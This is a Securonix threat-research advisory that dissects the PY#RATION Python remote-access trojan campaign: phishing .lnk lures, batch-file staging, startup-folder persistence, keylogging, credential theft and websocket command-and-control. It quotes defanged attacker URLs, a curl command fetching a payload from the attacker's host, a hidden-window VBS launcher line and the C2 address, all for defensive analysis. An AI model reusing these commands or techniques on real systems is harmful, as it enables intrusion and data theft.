Securonix Security Advisory: Python-Based PY#RATION Attack Campaign Leverages Fernet Encryption and Websockets to Avoid Detection

By Securonix Threat Research: D. Iuzvyk, T. Peck, O. Kolesnikov

Figure 1: PY#RATION payload

Introduction

The Securonix Threat Research Team has identified a new Python-based attack campaign (tracked by Securonix as PY#RATION) in the wild. The malware exhibits remote access trojan (RAT) behavior, allowing for control of and persistence on the affected host. As with other RATs, PY#RATION possesses a whole host of features and capabilities, including data exfiltration and keylogging. What makes this malware particularly unique is its utilization of websockets for both command and control (C2) communication and exfiltration as well as how it evades detection from antivirus and network security measures.

The use of Python for malicious purposes is increasing, and is noteworthy for its similarities to Go-based malware, as demonstrated by the GO#WEBBFUSCATOR attack campaign we covered previously. To illustrate, malicious code can be compiled and “packed” into an executable requiring no outside code or library dependencies, making cross-platform support possible. Creating Python executables in Windows can be trivial and requires only the knowledge of a few existing tools such as Py2exe or auto-py-to-exe, for example.

In this case, starting in August 2022, we identified malicious payload samples associated with this attack campaign containing v1.0 in the code. Today our latest identified payload sample contains v1.6.0 meaning the malicious payloads used by the attackers as part of this campaign went through several enhancement interactions and are still under development. It is also apparent that new features and anti-evasion techniques have since been introduced into the later versions.

Technical analysis: initial compromise

Initial infection of PY#RATION begins with a phishing email containing a malicious attachment .zip file, documents.zip in our case for v1.6.0. The zip file is password protected. Since we didn’t have access to the body of the email, after some brute forcing the password “1988” was discovered. Typically this password would have been found in the body of the email.

Contained inside the zip file are two shortcut (.lnk) files that reference two corresponding files located on a remote C2 server, front.jpg(.lnk) and back.jpg(.lnk). The shortcuts appear as an image icon with a link to add validity to the lure. When the shortcut is executed, the remote server is contacted to download two additional files to the user’s temp directory.

Figure 1a: Observed PY#RATION attack chain

Stage 1: .LNK shortcut file execution

Code execution begins similarly to most phishing-based malware we see today. Once the zip file is extracted, the user is presented with two convincing .lnk files disguised as the two .jpg files. When executed by the user a front and back image of a seemingly valid UK driver’s license is displayed along with the malicious code.

Figure 2: v1.0 shortcut .lnk lure files front.jpg (left) and back.jpg (right) [PII removed]

The lure files are presented to the user upon executing the corresponding shortcut (.lnk) files in addition to the malicious code front.bat and back.bat as seen in the figure below. We’ll dive into the contents of the .bat files further down. In any malware scenario, the purpose of the lure files is simply to present the victim user with an expected result in an attempt not to arouse suspicion.

Figure 3: v1.0 shortcut .lnk files

Each .lnk file downloads the .txt files. The files are then renamed to .bat files and then executed.

front.jpg.lnk – hxxps://install.realproheros[.]com/front.txt
back.jpg.lnk – hxxps://install.realproheros[.]com/back.txt

This brings us into stage 2 of the initial infection. Malicious VB script is then echoed into another file, “c.txt” in our case. Wscript.exe is then called to execute the newly built file as seen in figure 4 below.

Figure 4: v1.0 front.bat

As you can see in the image, front.jpg is downloaded and saved into settings.bat.  The contents of hxxps://install[.]realproheros.com/c.txt is then outputted into c.bat which is then outputted into b.bat.

The file settings.bat simply downloads and executes the front.jpg in this case which opens the lure image of the front of the drivers license as seen in figure 1.

When analyzing version 1.6.0, the initial code execution vector beginning from the shortcut file is slightly different. While the technique originating with “front.jpg.lnk” “and back.jpg.lnk” remains unchanged, the initial script is pulled down from pastebin.

hxxps://pastebin[.]com/raw/Mb7zPnML

Figure 5: v1.6.0 front.jpg.lnk and front.bat

Stage2: Batch file execution

When we take a look at the contents of the “c.bat” files, things start to get very interesting which leads us into stage 2 of the initial compromise chain. Below is a screenshot of the v1.0 sample we identified last year.

Figure 6: v1.0 c.bat contents

The batch file begins by creating directories in the user’s %tmp$ directory, Cortana, and Cortana/Setup.

It then dumps the contents of lines 6-24 into another file in %tmp/CortanaDefault.bat. This file essentially checks for the existence of a few files, and then downloads them:

hxxps://install[.]realproheros.com/unrar.cert – unrar.cert

hxxps://install[.]realproheros.com/setup.rar – setup.rar

hxxps://install[.]realproheros.com/assist.rar – assist.rar

Next, the Microsoft utility certutil.exe is leveraged to decode “unrar.cert” into the exe file “unrar.exe” which is then executed and extracts the contents of “assist.rar” and then “setup.rar” using the password “2022” for v1.0 or the password “P@2022” for version 1.6.0.

One of the extracted files “ctask.exe” is then executed using the parameter “rmpath” and the value “433a2f57696e646f7773202f” which is the hex value of “C:/Windows“.

A basic .vbs script is created and saved as “%tmp%/Cortana/inv.vbs” which accepts two parameters, the first being the name of an executable to run, the second being parameters for that executable:

echo CreateObject^(“Wscript.Shell”^).Run “””” ^& WScript.Arguments^(0^) ^& “”””, 0, False

The executable “ctask.exe” is once again executed using the parameters “movepath 25746d70252f436f7274616e61 256c6f63616c6170706461746125” which when decoded from hex becomes “/%tmp%/Cortana” and “%localappdata%

Persistence is established by dropping CortanaAssist.bat into the local user’s startup directory “%appdata%/Microsoft/Windows/Start Menu/Programs/Startup/CortanaAssist.bat” This will cause it to execute every time the user starts their workstation.

Examining version 1.6.0, the end goal is essentially the same. Interestingly enough, as you can see at the end of almost every primary action, there is some error checking which sends a status probe back to the attacker indicating the script’s progress.

hxxps://api.safeit[.]com/install/log?error=[error_message]

The domain used here is rather interesting. The site safeit.com is a legitimate website that has been in existence since the 90’s which offers secure file deletion products. The subdomain api.safeit[.]com appears to have been very short lived. Its purpose as well as its relation to the attackers behind the malware remains unknown.

Figure 7: v1.6.0 c.bat contents

In the case of each file version the main goal is to download and extract a binary payload through a series of bat files. The payload is rather interesting and functions as a Python-based RAT. We’ll dig into this in the next section.

Analysis: Python Binary CortanaAssistance.exe

As we briefly touched on earlier, it’s possible to pack an executable using automated tools that take Python code and convert it to an all-in-one Windows executable. This can easily be done using automated tools such as pyinstaller or py2exe.  This Python-packed binary will contain all the required Python libraries needed for the original code to execute properly on any Windows system. The side effect is that the binary file ends up being quite large.

The v1.0 binary file “CortanaAssistance.exe” is a 32-bit executable and is on the larger size standing at just over 14MB. Version 1.6.0 is much larger at just over 32MB. Both were packed using Python v3.10.0.

Figure 8: PE binary information for CortanaAssistance.exe

As the binary is a Py2exe packed executable, we can extract the file’s contents using a tool like pyinstxtractor into another directory to examine it. As seen in figure 9 below, this mostly contains Python library files. What interests us, however, is the main function, “main.pyc” which contains the compiled Python bytecode of the original script.

Figure 9: CortanaAssistance.exe extracted contents

Using a Python decompiler, main.pyc can be decompiled into its original Python code. The original Python script was compiled in Python version 3.10.0. By analyzing the original code we get a better understanding as to the capabilities of the malware.

Python code: v1.0 vs 1.6.0

The difference between the two versions is quite staggering. With about 1000 lines of code added in v1.6.0 as compared to our original discovered sample, it’s overall quite telling that this particular Python RAT is still under development.

The 1.6.0 version’s main Python code was also hidden behind a trivial layer of fernet, an implementation which is part of a recipe from the Python cryptography package that can be used to encrypt and authenticate data. This helps attackers reduce the ability for AV detections to trigger on anything malicious as it masked many easily identifiable strings compared to v1.0 of the binary.

Figure 10: v1.6.0 main.py showing fernet encryption

The original source code is decrypted and executed as seen in the figure above.

Once decrypted the later version also features much cleaner code with formal comment blocks at each function or class which clearly describe its intended purpose. Because of this, it is easy to conclude that this RAT is being sold, though at the time of writing we are not able to confirm this or identify its original origin.

Next, let’s dive into several interesting classes contained within the Python RAT’s source code.

Python code: app class

Both analyzed versions of the original Python code contain a class “app” which handles basic configuration parameters such as IP and port information. They’re both configured to the same IP address 169[.]239.129.108 and port 5555 which downloads and reads in a configuration file “/client/config” It’s quite surprising that the same IP was used over a four-month period and is still active at the time of writing.

Figure 11: main.py containing class app and connection strings

The later version adds some sessioning capabilities which leverage the function get_unique_identity() which consists of the target host’s MAC address and user name. The configuration parameter IN_NETWORK_SCAN is also new and makes use of the Python class NetworkScanner, which as its name suggests, attempts to probe the surrounding network for IPs and ports.

Python code: NetworkScanner class

Unique to v1.6.0, this enables the Python RAT with added network enumeration capabilities over prior versions. The class has a few tunable configuration parameters which define port ranges, batch size, and sleep time.

Figure 12: main.py showing class NetworkScanner

Python code: actions class

The “actions” class gives the attacker the ability to transfer files from host to C2 or vice versa. The code block was almost identical between the two versions, other than the addition of the unique identity added to the headers in v1.6.0.

Figure 13: main.py with actions class v1.0

Python code: KeyRecorder class

The not-so-subtle “KeyRecorder” class does just as the name suggests — it acts as a keylogger that lets the attacker record the victim’s keystrokes once infection has fully taken place. Other than some slight code variations and trimming, the classes between the two identified versions were functionally the same.

Figure 14: main.py showing KeyRecorder class v1.0

The malware features several more classes that allow for additional functionality such as the “Command” class. This allows the attacker to interact with the system by issuing shell commands. Other classes allow for general enumeration which provides system information and antivirus protection status.

Python code: other classes and functions

After analyzing the source code, we can determine that the PY#RATION malware contains the following additional functionalities:

  • Host enumeration
  • System shell commands
  • Download/upload files
  • Password/cookie extraction from browser stores
  • NSSProxy functionality
  • System enumeration
  • Clipboard stealer
  • Antivirus detection/enumeration

Analysis: C2 communication and infrastructure

Another aspect which makes this malware unique is the fact that it leverages websockets to establish C2 communication back to the attacker’s server.

The WebSocket protocol works over a single TCP connection, but unlike HTTP or HTTPS it uses an API standard which upgrades the HTTP connection. The upgraded connection will typically work over port 80 or 443. However once the connection has been upgraded, WebSockets can enable streams of messages using full-duplex communication, which is currently not available over a standard HTTP or HTTPS connection.

Using WebSockets for C2 communication is less common as it requires much more time to configure the remote C2 server than with other, more common methods.

The PY#RATION malware leverages Python’s built in Socket.IO framework which provides features to both client and server WebSocket communication.

Figure 15: Socket.IO and WebSockets C2

Surprisingly enough, only a single IP address was identified throughout the total attack chain for C2 (“169[.]239.129.108”) was used by the attackers. Again, from v1.0 back in August to v1.6.0 found in this month’s sample, the sole IP remained the same and is still online at the time of writing.

Today, the IP address scores a surprisingly well 0/106 blacklist score on IPVOID, meaning that this particular campaign has gone undetected for quite some time.

Further analysis: post exploitation bonus round

After executing the 1.0 version of the malware, the attackers downloaded an additional executable, “one.exe” which they then used to execute commands. The executable was also a Python packed .exe file, which allowed for code execution. The file was downloaded by the attackers using curl with the following command:

curl.exe “hxxps://install[.]realproheros.com/one.rar”

The contents were extracted and one.exe was executed along with given parameters:

Process CommandLine
cmd.exe c:\windows\system32\cmd.exe /c “”%%tmp%%/one.exe” driver=chrome”
one.exe “c:\users\jalston\appdata\local\temp/one.exe” driver=chrome
one.exe “c:\users\jalston\appdata\local\temp/one.exe” driver=chrome

The file contained an embedded Python code file called “one_encrypted.pyc”. When decoded using the same methods in the previous executable, a large encrypted string encrypted with Fernet was presented. This same technique was also present in the v1.6.0 main.py Python code found within the binary.

Figure 16: one_encrypted.py with fernet encryption

Decoding the encrypted fernet string by replacing “exec” strings with “print” presents us with additional Python code which gives us insights as to the purpose of this executable.

The “one.exe” appears to be another variant of another Python-based Infostealer malware, which grabs and extracts local PC data including browser credential stores, cryptocurrency wallets, and user and system data.

Figure 17: decoded fernet code snippet affecting browser stores and crypto

Above, we listed command flags associated with “one.exe”, for example “driver=chrome”. The purpose of that flag is to specify a broad target for the malware to execute and run against. In this case, browser data is recorded, parsed and sent out to C2 as seen in figure 18.

Figure 18: browser data extraction

The similarity between the two binaries are striking as both leverage Python as the main programming language, all in a Windows executable format. Even though they serve two completely different functions, it would appear that both originated from the same threat actor.

While this additional binary sample is interesting, the source or origin appears to be the same as the original Python RAT. Much of the functionality of one.exe appears to have been included in the later v1.6.0 of the Python RAT.

Conclusion

The PY#RATION malware is not only relatively difficult to detect, the fact that it is a Python compiled binary makes this extremely flexible as it will run on almost any target including Windows, OSX, and Linux variants. Python packages do not need to be installed on the host as all of the needed libraries are self-contained in the executable itself.

At the time of writing, the v1.6.0 of the malware only produced 1/70 detections according to VirusTotal. Malicious code packed into .exe files using PyInstaller or py2exe are already difficult to detect. The fact that the threat actors leveraged a layer of fernet encryption to hide the original source compounds the difficulty of detecting known malicious strings.

As English appears to be the consistent language throughout, and the lure images are of a UK driver’s license, it’s likely that the intended target could be the UK or North America.

Securonix recommendations and mitigations

  • Avoid opening any attachments especially from those that are unexpected or are from outside the organization. Be extra vigilant with .zip, .iso, and .img attachments.
  • Implement an application whitelisting policy to restrict the execution of unknown binaries
  • Deploy additional process-level logging such as Sysmon for additional log detection coverage
  • Securonix customers can scan endpoints using the Securonix Seeder Hunting Queries below

For customers, we have a follow up with recommended detections on how to detect and mitigate PY#RATION attacks using Securonix.

References

Analysis and Detection of CLOUD#REVERSER: An Attack Involving Threat Actors...
2023 Threat Landscape Retrospective
Analysis of DEV#POPPER: New Attack Campaign Targeting Software Developers...
Securonix Threat Research Security Advisory: Analysis of Ongoing...